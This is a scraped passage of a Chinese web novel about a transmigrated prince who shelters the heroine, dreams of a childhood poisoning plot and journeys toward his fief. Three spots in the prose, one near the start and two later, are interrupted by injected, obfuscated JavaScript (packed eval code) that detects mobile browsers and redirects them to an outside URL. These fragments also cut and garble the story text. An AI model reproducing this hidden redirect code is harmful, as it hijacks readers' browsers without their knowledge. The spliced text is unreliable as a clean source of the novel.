但他面上还是十分淡定,“回殿下,是的。那姑娘被郁先生就安置在您右边的帐篷内。” 得到关珏的回答,俞修衡终于肯定方绾宁不是自己想象出来的人了。复又笑了起来。 “那你去她帐篷外面护卫,保证她的安全。” “啊?” “啊什么啊,还不快去!” “可是我…” 俞修衡瞪了他一眼,大声道:“没有可是,去吧,她不能有任何意外。” “是!”关珏领命下去了。 俞修衡看着关珏离开的背影,放下心来。安心的走回帐里准备睡觉。 方绾宁就知道事情可没那么简单,自己刚才还是太得意了。静下心来,回想起刚才的情形她自己都觉得离谱。 这是封建制度下的王朝,一个王爷要和一个认识不到两个时辰的女孩儿住一起,谁见了都觉得是那个女的给王爷下迷魂药了吧。自己还不要脸的想睡床,啧啧,佩服自己的脸皮哦。 一会儿那个郁先生铁定要找自己谈话的,我要做好准备啊。方绾宁在心里头脑风暴。他不会进了帐篷就怀疑自己别有用心,然后掏出一把匕首来送自己上西天吧? 害怕,害怕。 钱管家将她领到了帐篷内便退下了。但郁见深却站在那没动。 方绾宁等着他开口。 “方姑娘。”郁见深将从袖里掏出一个罐子,“这是上好的伤药,你涂抹在伤口处,不出十天便可痊愈不留疤痕。” 还好不是武器,方绾宁放心接过,“谢谢郁先生。” “方姑娘。” “啊?“ “我不管你是谁,安分些。”郁见深突然收起了那丝微笑,寒意瞬间爬上了他的双眼,“这不是你可以肆意耍弄心机的地方,注意自己的身份,和…你的小命。” 方绾宁脑子嗡嗡的,身子颤了一下。 果然被警告了呀! 方绾宁想说话来着,却被郁见深的眼神吓得怔住。 郁见深见她如此神情,不一会儿又恢复了那面带微笑的和蔼大叔,“好好休息,方姑娘。祝你有个好梦。” 放完狠话就潇洒离开,留下她在原地久久没有动作。 方绾宁立马自我检讨,果然不能太得瑟,以后更是要多加注意了。 毕竟不是有句名言嘛,莫装逼,装逼遭雷劈。自己穿越来又不是什么公主小姐,仰着别人鼻息而活的小卒还是要学会看人脸色啊,虽然张乐川的身份是王爷,但不是还有另一句俗话嘛,身在皇家身不由己。做点多大的屁事儿都会被人记录下来反复观看。她可不想成为皇权政治争斗下的灰烬啊。 方绾宁坐在床边认真打算,要不还是让张乐川给自己一笔钱然后出去自立门户吧。这样好像比较自由自在。 “凭咱们这种关系,他应当会给吧?”方绾宁摸着下巴自言自语,然后拆开了自己头顶的纱布,打开了药罐子开始上药,“得好好上药啊,留疤了以后还怎么谈个古代的大帅哥。” 郁见深走出去便看见立在一旁的关珏。 “你怎么在这儿?”皱眉。 “是殿下的吩咐,他让我守在这保护方姑娘的安全。”关珏回答。 郁见深神色一凛,留下一句,“怎么,是怕谁在半夜大开杀戒嘛?”便拂袖离开了。 留下关珏关侍卫在风中缭乱。 俞修衡躺在床上久久无法入睡。 刚才侍女进来伺候他洗漱的时候,看着她们低眉顺眼半分不敢多看自己的模样,就觉得他好像不应该说让杜秋做自己的贴身侍女的。他该给她一个更体面更隆重的身份。 义妹?好像不太妥帖。 好友?但他们以前从没见过啊,哪儿来的友情。友情又是什么鬼? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14468349|154004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >门客?14岁的小孩儿门客? 童养媳?我看我是疯了…… 俞修衡想了半天没想出个合理的身份。索性先不想了,侍女就侍女吧,现在去就藩的车队里保不齐有二哥的眼线,如若有太不寻常的事儿报了回去,也会惹来不必要的麻烦。侍女这身份就挺好…嗯……等到了青州,将府里重新整顿一番,全都换上自己的人,再给她新的身份吧。 俞修衡想着,很快便睡着了。 很久不做梦的他,今晚却梦见了一些氤氲残酷的往事。 那是他十二岁的时候,震惊朝野的“李萍血案”。 那时候的俞修衡天资卓越,文武双全,是朝野内外万人景仰的太子殿下。而李萍此人只是个,伺候一个小国——南华国进献的和亲公主身边的侍女。 但她竟然胆大包天的在和亲路上杀害公主,偷梁换柱顶替身份进入东州皇宫内和亲,开始还只是个小小美人,后来一步一步爬上四大妃位的贤妃之位。曾一度深受父皇宠爱,谁知这个女人实在贪心不足,竟然觊觎皇后之位,还在她怀有龙嗣之后给当时是太子的俞修衡下毒。 重南星,一种慢性毒药,长期服用可致使人疯癫暴毙。 当时俞修衡还十分喜欢这位贤妃,自他母后去世后。自己就经常去贤妃的玉堂殿中,她语气温婉的模样像极了俞修衡逝去的母亲。她还时常替自己梳头,整理衣冠,能记住他所有的饮食喜恶,那时候的俞修衡还是十分信任这个异国的公主,经常心疼她远离故土,常常命人去寻她国家的小玩意儿送来给她。 但后来才知道,这个侍女根本不是南华国的人。她自己本身也是个被南华国军队从另一个更小的国家虏来的皇女。 “小国依附大国,更小的国家没有力量只能等待侵略,抢夺,是南华害我国破家亡,我只不过是杀了他们一个公主,过上了原本属于我的生活,我有什么错?” “但你为什么给太子殿下下毒?” “下毒?我就应该给他吃红莲焚心,让他立马毙命!他怎么就那么命大,重南星吃了三个月都能救回来!” 是啊,当时的俞修衡吃了三个月的慢性毒药,尽管当时的身体已经出现幻影晕厥的现象,但他一次也没有怀疑过她,以为自己只是太累了。 但在一次比武场试炼时,突然出现的晕眩让他不小心被人划破了手臂,当时流了很多血,被郁先生察觉到了重南星。 重南星无色无味,进入人体难以被发现。但长期服用,血液会出现特殊香味。郁见深在南华国待过,立马认出了这味毒药。 此后,便是一步步调查,最终引出了李萍。 一个亡国公主杀害了另一位公主,顶替身份在东州皇宫做了五年皇妃,还敢谋害太子,没有比这更凶恶的罪名,事件调查清楚后,父皇当时血洗了玉堂殿的所有人,宫内上上下下还牵连宫女内侍五十几人,全都车裂而死。父皇还趁机向南华发难,边境大军向南华压进五十里。迫使南华国割让五城以此求和。 俞修衡当时在旭阳宫躺了七天,终于能下地时,一切都尘埃落定,只剩下皇宫砖瓦下的丝丝血迹还提醒他那场血案已经火速落下了帷幕。 俞修衡当时还向父皇恳求参加了李萍的庭审。他当时坐在屏风后听见她竟如此恨自己,实在惊讶,在这皇宫自己明明对她很好。 “为什么?”俞修衡在屏风后问出了声。 当时的李萍惊讶他在场,但似乎精神已经有些崩溃,她跪在堂下,神情癫狂,“为什么?谁让你是惊才绝艳的太子殿下呀!有你在的一天,我肚子里的孩子更是没有一丝出头的机会。只有杀了你!我的孩子,这皇宫里所有生活在你阴影下的人才能得见一丝阳光,才能得到皇上的侧目夸赞。俞修衡!你就该死!你就不该活在这个世界上,你早晚会被那些躲在阴影里的恶鬼撕碎……” “大胆!敢对太子出言不逊!”审理此案的大理寺卿大声呵斥,“来人,掌嘴!” 俞修衡伸手拦下了准备行刑的官吏,他走到李萍身前,“本宫记得自己并没有得罪过你,还念你远离故国对你十分照顾,你之前为父皇准备了一道榛子酥,还是本宫提醒你父皇对榛子过敏。” ”是,承蒙太子殿下厚爱。“李萍跪在地上瞪着俞修衡目眦欲裂,“你还经常给我带南华的小玩意儿呢。”她嗤笑了一声,“你知不知道,那些东西,一件一件都在提醒我,南华对我做出的百般凌辱,你以为那南华国的公主就是什么好东西了?她手段残忍,黑心肝的德行跟他那皇兄一模一样!他皇兄烧尽我故土,坑杀我百姓!他妹妹更是将奴隶当作猪狗,随意驱使打骂,她曾将一位扯下她一根发丝的婢女生生剥下面皮,他们才是魔鬼!相比起来,我做的这些又算得了什么?我只恨我当初杀她时太快,就应该将她生生凌迟,让她流尽七七四十九天的血!” 俞修衡感到全身无力,像是被抽干了精神,没心思再听她无聊的咒骂,转身朝着堂外走去。 “俞修衡!”李萍叫住了他,“你以后可要睁着眼睛睡觉啊,这天底下想要你命的人可不止我一个。” “你什么意思?”俞修衡眉头瞬间皱成一团,他转头看见李萍正冲他诡异的笑,苍白的面容散发着让人不寒而栗的阴冷。 “哈哈哈…我的意思是…你迟早得,如我这般,下!地!狱!” 13.第 13 章 第十三章 “……如我这般,下地狱!” “啊!” 俞修衡猛的惊醒从床上坐起,满头大汗,他望向四周,有刹那的茫然。他已有很多年不曾做梦,醒来又觉得忘记了很多,只剩下李萍最后的嘶吼在他耳边莹莹绕绕。 他抚了抚额,感觉有些头疼。看了一旁不知什么时候熄灭的香炉,下了床唤人进来替他更衣洗漱。 王宵身后跟着两名侍女一起进了营帐,“殿下,刚才听见帐中有异响,您还好嘛?现在离天亮还有一会儿,您要不再睡会儿?”王宵躬身询问。 “不用了,刚才只是做了个梦,没什么打紧的。”随后便朝着侍女说道,“替我更衣吧。” 俞修衡一边穿衣,一边问他,“昨晚关珏一直守在方姑娘帐外?” “是的,一直未曾离开。” 俞修衡点点头,“那你去看方姑娘醒了吗?没醒也不用叫她,醒了之后就让她过来用早膳,早膳让厨房多准备些,要有肉。” 王宵领命下去做事了。 方绾宁一整晚想着事儿,没怎么休息好,听见帐外已经有忙碌的声响便立即起床了。 昨晚已经有人将衣裳什么的送了进来,是一件连珠纹交领窄袖衫,好看的藕荷色,搭配一件浅绿色的披帛衬得方绾宁小家碧玉。不过毕竟实在时间紧迫,整件衣衫穿起来有点不太合身,裙摆有些长,方绾宁用腰带扎了一节裙衫让她不至于将下摆拖在地上。不过这已经是她来到这个世界穿过最好的衣服了,当然,周员外的那件婚服肯定不能算。 而关珏站在帐外已经拦了好几波人。 先是后厨的张娘子想来探听消息,站的远远的步子还没迈过来就被他用眼神瞪走了。 再是殿下身边伺候的赋思姑娘。说是奉命前来唤方姑娘起床去殿下帐外侍候。 “你是奉谁的命?”关珏问道。 “是钱管家,他说有一位新来的姑娘是做渊王殿下的贴身侍女的,让奴婢来带带她。”赋思温婉的说道,语气柔和,不会令人产生半分不适。 关珏也很是知礼,但还是低声拱手将她拦在了帐外,“那姑娘还请回吧,昨晚殿下已有交代,不能让任何人打扰方姑娘休息,如果方姑娘醒了我自会让她前往殿下帐中的。” “既是殿下的命令,那赋思告辞。” 最后是王宵,不过王宵交代完便走了。关珏抱着剑又站了一会儿便听见帐内一阵窸窣的声响。 方绾宁掀开帘子就看见关珏一张面无表情的冷脸,着实吓了一跳。 “方姑娘,殿下交代,你醒了之后便去他营帐。” “哦,哦,好。你站在外面吓我一跳。”方绾宁摸着小心脏,后又向他道谢,“谢谢你啊。” “方姑娘不用客气,这是在下的职责。” 方绾宁提着裙摆去找俞修衡了,走进他的大帐篷里就看见他端坐在饭桌前,桌上摆满了碟子。还有两个如花似玉的美人站在桌旁,方绾宁没见过她们,有外人在的话,方绾宁不敢太没规矩,她刚要低头行礼,俞修衡便拉着她坐在了凳子上。 “你跟我还做那套干什么。”俞修衡看她小眼神往旁边瞟了瞟便明白了。只见他正声对着身旁的俩人说道:“赋思,文晓你们先下去吧,这里不用你们伺候。” 等到她们离开后方绾宁才敢松快身子,“哇,那两个美女姐姐是你侍女嘛?真好看,你艳福不浅啊,小川。” “你瞎说什么?”俞修衡给方绾宁盛了一碗粥,“快吃早膳吧,我让厨房多多做了,你有什么喜欢的,都可以告诉我。” “王爷的生活可真是奢侈。”方绾宁望着满桌子的精致小菜,一边感叹一边拿着筷子胡吃海塞。 俞修衡没有动筷,他看着方绾宁的样子心里热乎乎的。 “你看我干嘛?快吃啊。”方绾宁嘴里刚得了空便招呼一旁的俞修衡,“这也好吃,那也好吃。哈哈哈”喝了一口肉糜粥,“这也好喝,哇~” 盯着她大快朵颐的样子俞修衡也不自觉的多吃了些。 俩人吃过早饭,方绾宁没忘记正事。 “小川?” “嗯?怎么了” 方绾宁将昨晚想了一夜的想法说了出来,“那什么,太谢谢你了,能在异世遇老乡实在是太棒了,但是吧。”她顿了顿,继续说:“你现在的身份是亲王是吧?跟在你身边肯定规矩太多了。要不这样吧,你小小给我一笔银钱,让我去做个小富婆怎么样?这样的话,你偶尔想我了,我也可以去找你,你也能来找我,我们……” “不行!”俞修衡暴怒出声。 方绾宁被惊了一下,帐外的关珏立马掀开帘子走了进来,“殿下,可是有什么……” 俞修衡见了他,立马呵道:“谁让你进来的!出去!” 关珏无奈退下。 俞修衡厉声的样子吓坏了方绾宁,她坐在凳子上不敢动作。 “你不信任我吗?”俞修衡收敛起气息,压下心里那滋滋往上冒的邪火。 “没,没有啊,我高兴都来不及。但是吧,你看,在外人面前我还要朝你磕头行礼什么的,多麻烦啊。” “那你以后不用管他们,你见着谁也不用行礼。有我在没人敢对你有一丁点微词。” “我也不是这意思……”方绾宁有点心虚,“还有啊,你这个身份,万一以后有政治斗争什么的,我也帮不上忙,我可能还要拖你后腿呢。” “这些也不会有,我已经是皇权下的弃子,从今以后也不可能再回应京了。你不用担心,我也没什么要帮忙的,你也不会是累赘,我会保护你。”俞修衡眉头拧成一团盯着方绾宁的眼睛,“你别害怕,我知道你穿越以来肯定受了不少苦。” 俞修衡将声音软下来,他不能让她离开自己,不想再过那种孤零零的生活了。 全天下都没有自己的容身之处,站的太高只觉得好冷。周围的人全都低着头和他说话,一尺之外全是如影随形的恶鬼,他已经很久很久没有体会过温暖了。 他把自己再放低一点,展露一个笑容,循循善诱,“秋姐姐,我们去青州,没有人会来打扰我们,听说青州靠海,那边有一片海滩上面全是纯白的沙子,还有螃蟹在浅滩挖坑,出海还能看见海豚从水面跃起,我们可以在船上海钓,听鲸鱼从海底传来空灵的叫声……” 方绾宁动心了呀,话说舍弃这么粗一根金手指还是需要很大的勇气的,那话怎么说来着?背靠大山不愁吃穿! 俞修衡见她脸上露出向往的神情,继续下猛药,“听说青州有一处楼阁,就建在山上,推开窗就能看见大海,青州的集市也是十分热闹,每年的海神节更是人流涌动,摩肩擦踵,听说青州还有一处花楼,里边的舞姬都是东州有名的艺妓,而且光有钱都不一定能看到的,不过我可以带你去。” “好好好!带我去,带我去!”这还有什么好说的,逛青楼!逛青楼!“你不能耍赖啊,说好带我去的。”方绾宁立马要他做出承诺似的,生怕他反悔。 俞修衡心里也渐生欢喜,“只要你跟着我,这些都没问题。” “跟你!跟你。”方绾宁激动,突然想起一事,“哎?但是…我们虽然是老乡吧,可我们上辈子根本不认识,这辈子也才认识一天都没到,这样感觉我很占你便宜哎。” “……” 是啊,杜秋,只有你才会觉得是你在占我的好处,但那些东西对我来说又算得了什么呢? 俞修衡记得他小时候有段时间也曾纸醉金迷,被皇宫里的一人之下万人之上蒙蔽了双眼。穿衣只需要伸手,在任何事物上多停留一眼就会有人送上你喜欢的奇珍异宝,茶壶里永远是清晨最早的露珠煮沸的水,每年各处上供的新茶都会准时出现在你的茶屉里,只要是你想要的,就算跑死几匹马,路上死几个人,那东西都能准确无误的出现在你的桌上。出行永远有人为你趴下当脚凳,永远有一大群人对着你行礼磕头,你只要一皱眉身边的人就得挨鞭子……教导你的太傅课上让你得当个仁君,下了课就会有人低着头让你从他身上踩着过去,內侍宫女甚至朝臣们也会永远说着恭维你的话…… 但再美好的梦总会有人变着法的提醒你,你不配。总会有非常多的血在梦里出现,他们可能就是你前几天调笑过的宫女,可能是不小心撞过你的一个小内侍,可能是那些莫名其妙的黑衣人总会在任何地方对你伸出锃亮的刀光,也可能是你曾真心相待的某一个后宫嫔妃最后诅咒你不得好死…… 你也曾热血奋进想用上辈子自己的所学去改变这一切,但换来的好像只有更糟糕,你搞砸了好些事儿,刑场上的鲜血似乎永远停留在你的掌心,你渐渐德不配位,你渐渐被黑暗笼罩…… 但多好啊,杜秋,你来了,你是藏在我身体里的另一个魂灵,你是我脑海里另一种思想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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俞修衡也跟着她嘴角微微翘起,“好了,野比大雄,快写你的信吧,墨给你磨好了。” 只见方绾宁拿起一旁的毛笔,像模像样的沾了沾墨,咳嗽一声下了笔…… 俞修衡在一旁看得心惊,可能是穿越前的张乐川也是练过几年书法的,这一世的书法造诣也在朝野颇有名气,所以看着方绾宁的字只觉得头疼。 “你的字…”俞修衡半天找不到一个妥帖的词形容,“嗯,很大一个啊。” 谁家写信一页纸就写了十几个字的,那要交代清楚事情不得写一本书? “很丑嘛?”方绾宁也无语,上辈子就很少拿笔了,现在还是用毛笔写,自己也实在无法入眼。 “状如枯枝,形似蚯蚓啊。” “……” “还是我来帮你写吧,你这样写没人知道你想说什么。”俞修衡拿过方绾宁手中的笔,“你说一句,我写一句。” 方绾宁也别无他法,也乐得有人代笔,“嘿嘿,那辛苦你啊。” 俞修衡拿着写好的第一封信出了马车,唤来王宵。 “这封信送去江宁府的怀远县溪源村找一家人,家中主人叫方余。然后给他们五百两银票。” “遵命!”王宵领命接下信封。 “还有,顺便去将方绾宁的户籍信息查清楚,如果她的名字出现在别人家的族谱上,你就将那本族谱给撕了。明白吗?” 王宵点头。 “无论如何,我要一张清清白白的户籍送到我跟前。好了去吧,多带几个人。”俞修衡眼神锐利,说完就进了车内。 跟在后面一辆车的郁见深见王宵带着人离去。立马招人前来问话。 “禀先生,王宵王副典军奉了王爷的命令去往江宁府送信。” “送信?”估计是方姑娘吧,郁见深猜测。他又问:“方姑娘的事查的怎么样了?” “回先生,调查方姑娘的人昨晚已经连夜去了江宁府,估计过不了多久便会有消息传来。” “好,知道了。”郁见深得了消息,便放下车帘。 昨夜已得知,这方绾宁只是后厨的人在路上捡的人,听下人们谈起说只是个无害小姑娘。 希望真的如此,郁见深心想。二皇子现在在朝中的势力发展可算是蒸蒸日上,这次渊王殿下避其锋芒封去青州希望别再出什么意外。 郁见深闭上双眼靠在车壁假寐。 离青州还有不到半月的路程,快到了。 14.齐陵 第十四章 齐陵城,白家。 林小迟的四姐林嘉熙嫁进白家已有七年,俩人婚后感情甚笃,和白家主家嫡长子白敬然孕有一子一女。两家同为商贾之家,林嘉熙陪嫁而来的三十船嫁妆加上她本身敏锐的经商之才,致使白家在齐陵城的商人位置上一跃而起,垄断了齐陵城的茶叶和瓷器生意。 白家和赵家不合多年,赵家凭借在齐陵城的丰厚底蕴一直对白家多有打压,在商的人为不了官,这是商场多年已经默认的规则,谁知赵家却出了个读书的举人,让一直赶超的白家心里有了巨大的落差,直到今早传来赵家似乎吃了个侵占土地的官司,才让皱了多年的眉头松快了一下。 林嘉熙坐在房中正在看大哥寄来的书信。信上交代了那前不久竟从书院逃走的五弟弟林小迟的近况。 林嘉熙这最小的幺弟是父母已有四十好几才得来的孩子,当时还和大哥的发妻李氏一起怀孕,被广安城的人好一顿笑话,生产之时还凶险万分。 出生后也是千娇万宠,家里一心想让这最小的幺弟走读书人的路子,谁知林小迟离经叛道,读了那么久的圣贤书,竟半个功名也没考取到。还在应京城闯下大祸,被大哥一气之下扔到了江宁的书院还找了十个护卫看着他,谁知还是被他给跑了。 收到林小迟逃跑的消息,大哥的火气都快烧着了屋顶,还专门寄了信给林嘉熙说如若有他的消息,立马传信回广安不容半分拖延。可谁知七天后林小迟竟然自己找回了家。 是啊,当时林小迟掉下悬崖后,没被河水冲出多远便被附近的村民救起。胳膊断了一根也顾不上养伤,立马跑到了城里卖了那小女孩的玉镯换了些银钱,就雇人在河岸边找起了方绾宁。整整找了好些天都没有她的踪影,林小迟的钱也花光了,但他没打算放弃寻找,立马回广安给自己大哥负荆请罪。 林云奕也没想到,下面的人还在江宁找他,他倒是自己回了广安。不过看着眼前穿着粗布衣裳,头上发丝凌乱只随意簪了根枯树枝的憔悴男人,一时也没敢认出他竟然是自己那个锦衣玉食养惯了的幺弟。 “哥,大哥,我回来了,我以后不跑了,你快让我带人去找绾宁吧……”听着他有些嘶哑的嗓音,红着眼眶的样子,林云奕拿着家法的手半天也没有挥下去。 想来是受了苦了,他心里也好一阵心疼。自父母去世,自己就给林小迟又当爹又当哥的,本也是好好养着的孩子,就算自己要求对他严格些,就算气急了拿鞭子抽他,也从没有见他如此模样。 林云奕连忙让他先下去休息,可这倔驴非不同意还要继续跟着去找一个小姑娘,“没事,大哥,我没事,你让我带人去找吧,那条河我翻来覆去找了好几天了,我熟。对了,哥,你帮我去赎一个镯子,就在,就在……”话没说完,林小迟就晕了过去。 …… 之后林云奕听完林小迟说的那些发生在路上的故事,心里一阵心疼,又气他不该逃跑,要不然也不会发生这些事。 林小迟最后还是赎回了那个镯子,那临河村的事儿也报给了官府,但方绾宁的踪迹却一直没找到。 “绾宁,你到底在哪儿呢?”林小迟看着摆在眼前的玉镯和那根枯木簪子,凝望了半晌才小心翼翼的锁进了匣子里。 林嘉熙见书信后大哥说林小迟如今已伤病大好,就是胳膊得再养一段时间,还叮嘱她在齐陵打听打听有没有一个叫方绾宁的小姑娘,十四岁,杏眼小嘴,模样古灵精怪身材不高。 小迟这几天茶饭不思,连最喜欢的宴席聚会都不去了,实在反常。如有消息,速速传信回来。 这是大哥信里原话。林嘉熙看完后嘴角微微向上一撇,又担心小迟,又觉得幺弟可能是害了相思。 “来人。”林嘉熙放下书信朝外唤了人进来。 “夫人。” “吩咐下去,在全城,包括城外,找一个小姑娘,十四岁的年纪…… ”林嘉熙话还没说完,就有小厮来报,说门外有人找她。 “是何人?可有拜帖?”林嘉熙问道。 “回夫人,没有,是个小姑娘,但我看见她下来的马车装饰极好,身后跟着几个带刀的侍卫,像是贵客。”小厮回答。 “贵客?她可有说她叫什么?” “这个有,她说她叫方绾宁,是林小少爷的朋友。” 林嘉熙猛的站起来,面露喜色,“快请她进来。” 方绾宁在门口没等多久便见小厮出来回话了。 “方姑娘,夫人请您进府一叙。” 方绾宁回头看了眼停在白府不远处的马车,对着一旁的关珏说道:“关侍卫,我进去和人说会儿话,一会儿便出来,你们先回去吧。” 关珏面无表情,“王爷吩咐,让我跟着你,我和方姑娘一起进去。” 见他冷酷的表情,无奈的朝小厮笑了笑,又和关珏说:“那你和渊王殿下说一声,让他在附近等等我吧。” 关珏这才点了点头,遣了人去和王爷回禀,便和方绾宁一起进了府。 听了手下之人的禀报,俞修衡没有说什么,乖乖去了齐陵城最大的酒楼,万樽楼等她。 白府从外面看其貌不扬,内里的布置却看起来清幽典雅,一点也不像那种暴发户金堆玉砌的风格,被小厮带领着穿过绕院而成的游廊,经过几处假山和池塘,院里的草木都打理的极好,郁郁苍苍,花圃里还栽种着四时不谢的花卉…… 方绾宁一路上目不暇接,直到被引到偏厅门前才收回目光,端正了身子。小厮做了个请的姿势,方绾宁一迈进门便看见主位上坐着一个娴静端庄的美貌女子,与林小迟至少有六七分像,方绾宁走上前行了礼,关珏站在身后依旧冷脸。 林嘉熙见着方绾宁模样可爱,礼节到位本是十分高兴,但看到她身后的人如此做派便僵了僵唇角。 立马有小厮附耳在她跟前说了情况,听到身后之人竟然是王府侍卫立马惊了一下,“你确定?” 小厮回答:“是小人亲口听见的。” 林嘉熙本出身大户,眼界见多识广,见着那人气势定然不是普通护卫,衣着用料也不是凡品,手中的刀剑她倒是研究不多,但她能认出这柄剑肯定出自军中的制刀工艺。 方绾宁斜着眼看了一眼关珏,见他抱剑立于一旁,不管她眼神怎么暗示都不肯出于礼节点一下头,方绾宁放弃了,忙上前说话,“夫人,请原谅,他这人没礼貌……” 林嘉熙一个商妇怎么可能会让一个王府的官爷行礼呢,立马说没事没事,便让二人落座了。 “您就是林小迟的四姐姐吧,我是方绾宁,是林小迟的朋友,我今天前来是想……”方绾宁还没说完便被林嘉熙打断了。 “我知道,大哥已经在信中说明了情况,你也不用担心,小迟他已经平安回府了。” “真的?我就说林小迟他福大命大,定能比我提早获救。”方绾宁听到他没事,也放下了一桩心事。 “是啊,他日前还在广安境内寻了你好几天,没想到方姑娘竟然到了齐陵,小迟知道了定然高兴。“ “那天我和林小迟掉下悬崖,没成想被河底的石头撞破了头,幸而得到渊王殿下相救。我现在已经没什么事儿了,还请夫人和林小迟报一声平安。” “竟然是渊王殿下。”林嘉熙没想到竟然真的是王爷这种尊贵的身份,也顾不上方绾宁了,“不知王爷可否光临寒舍,毕竟你也是小迟的朋友,我代为感谢一番救命恩人,白家也好备下些薄酒招待贵客。”如果能和王爷搭上关系,白家可是会更进一步啊。连忙厚着脸皮想邀请王爷过府做客。 关珏听完林嘉熙的话,抢在方绾宁之前开口,“王爷行程匆忙,不便入府,感谢就更加没必要了。” 额,这关珏拒绝得太干脆了吧,方绾宁无语。 说完关珏便站起身来,对方绾宁说:“方姑娘,还请尽快叙旧,我在门外等你。” 留下方绾宁独自尴尬,她苦笑了一声,“夫人,别介意,他那人就这样,嘿嘿。”然后拿出怀里的信交给林嘉熙,“这封信麻烦您替我交给林小迟吧,知道他没事我也很开心。” 林嘉熙可不敢生气,没答应也在情理之中,她接过方绾宁的信说:“这封信我自会转交,不知方姑娘和渊王殿下是什么关系?”竟然还让侍卫贴身跟随。 “是朋友。”方绾宁笑着回答。 “那方姑娘之后如何打算?” “我自然是跟着殿下一起去青州。” “青州?”林嘉熙疑惑。 “啊,是的,那是他新封的封地。” 林嘉熙听见这个地方俱是一愣。她是商人,家族生意做遍了东州,连大漠深处的云楼国都有交易,偏偏这青州一地是半个店铺都没有。 青州地理位置还是极好的,本身是个港口城市。上接边境大城荣逸,下游行船连接晋余大运河。盛产名贵的海货,附属海岛山灵岛上产一种刺参,品质上乘,肉质鲜滑,口感极佳。海里还有价值不菲的红珊瑚,和千鸟山上的的绿石…… 本该是座极尽繁华的大都市,谁知却在十年前被海盗上岸掠夺一空。这群海盗趁着海神节守卫薄弱,挑选夜晚全城的人都在欢愉庆祝之时,上岸烧杀劫掠,见人就砍,见物便夺,事后还放火烧城。尽管当时只掠夺了临海的小半城,但海盗一而再再而三的上岸掠夺,趁着青州休养生息之际屡次上岸骚扰,朝廷派兵围剿就躲海里去,青州海岛繁多,大海深处也不敢深入,清剿多次却都无功而返,等着朝廷的军队走了又卷土重来……多次之后,青州的人是死的死,逃的逃,短短两三年,昔日繁华的大城逐渐没落,前几年朝廷还曾派遣了一支精锐部队,但都消失在大海和海岛深处,再也没听见过消息。 林嘉熙连忙将青州的消息说给方绾宁听,还贴心问道:“虽然他是王爷,你说你们是朋友,但我劝你还是留下来,那地方连朝廷也不管了,去了官员也不是些管事的。虽说王爷身份尊贵,但恕我说句大逆不道的话,能给青州作为封地的皇子怕是上面的人就没想他能在青州活着安度余生。” 方绾宁沉默,沉默完了就皱眉,皱完眉也没见她说话。 林嘉熙又说:“你是我弟弟的朋友,大哥的信中说小迟对你情谊颇深,你留下来,我定不会亏待你。” 方绾宁想了想,起身向她行礼,“多谢夫人好意,但我……我还是想和渊王殿下走。”方绾宁抬起头,冲她柔柔一笑,“他是我朋友,我不能丢下他。” 方绾宁潇洒转身出了门。 “走了,关侍卫。”叫上了立在廊下的关珏。 厅中的林嘉熙朝着方绾宁的背影摇了摇头,又想起刚才自己竟然想去攀附,那样一个不知何时便会送命的王爷,她深深叹了一口气。商贾之家虽然不能从政,但对政治还是要有点敏锐度的,之前怎么没听说过这个渊王?想来是个不受宠的皇子吧。竟将自己的亲子逐去那么凶险的地界,果然皇家都是无情人啊。 “来人,拿纸笔来,我要给我大哥回信。”顺便将那方姑娘的信一起寄回广安,也好安一安幺弟的心。 齐陵城,万樽楼。 齐陵刺史曹合收到渊王殿下就藩路过城中的消息,就立马前来拜访了。 “微臣叩见渊王殿下。” “起来吧,刺史大人,不用多礼。”俞修衡坐在桌前喝茶,免礼之后看向他,“不知刺史大人前来所谓何事?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14480845|154004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “微臣得知殿下路经齐陵城,特意前来拜访。”曹大人起身后又说,“不知殿下今晚可找到歇息的地方,如不嫌弃,还请殿下移步下官的寒舍。” 俞修衡喝茶的动作顿了一下,“曹大人前来只是为了邀请本王入府住上一晚?” “这只是其一。” “哦?还有二?” 曹合复又跪下去,看着桌边芝兰玉树般的身影深深磕了一个头,“回殿下,其二是为了感谢殿下。” “曹大人,我们应该是第一见才是,这谢从何来?”俞修衡略感疑惑。 曹合回答:“殿下想必是忘记了,但下官却记得清清楚楚。九年前,下官还是京中备考春闱的穷举子,因拖欠房费在大雪天被店家赶出客栈。店家还企图将我的书匣当街燃毁,我在火中抢夺书册,险些被烧了双手,是当时的殿下路过,救下了我……” 曹刺史做官多年,说起这件往事竟声音嘶哑,情深涕下,“殿下您给我付了半年房费,为我添了新衣,购置了新的纸笔书册,当时您还将手中读了一半的《万经考教》给了我,还对我说,「读书是一件很难的事,做人做官也是,你拿了我的书,就要好好考试,等你高中的那天也不必谢我,自有千万百姓像今日我在火中救下你一样,你也要去将他们救出水深火热」这句话,我一直铭记于心。高中之后外派地方县官也一直谨照殿下的话,下官今日有此成就,权谢殿下当日相救之恩!” 曹合再拜,弯下的身子有些颤抖。 久远的记忆被重新翻起,像是被钝刀子割肉,疼得有些麻木。 俞修衡记得不是很清楚了,因为当年他好像干过很多类似的事儿,救人出困境然后留下一句激励振奋的话,企图用自己那饱含善意的思想去一点一点影响这个时代,但现在想起来真的太中二了。 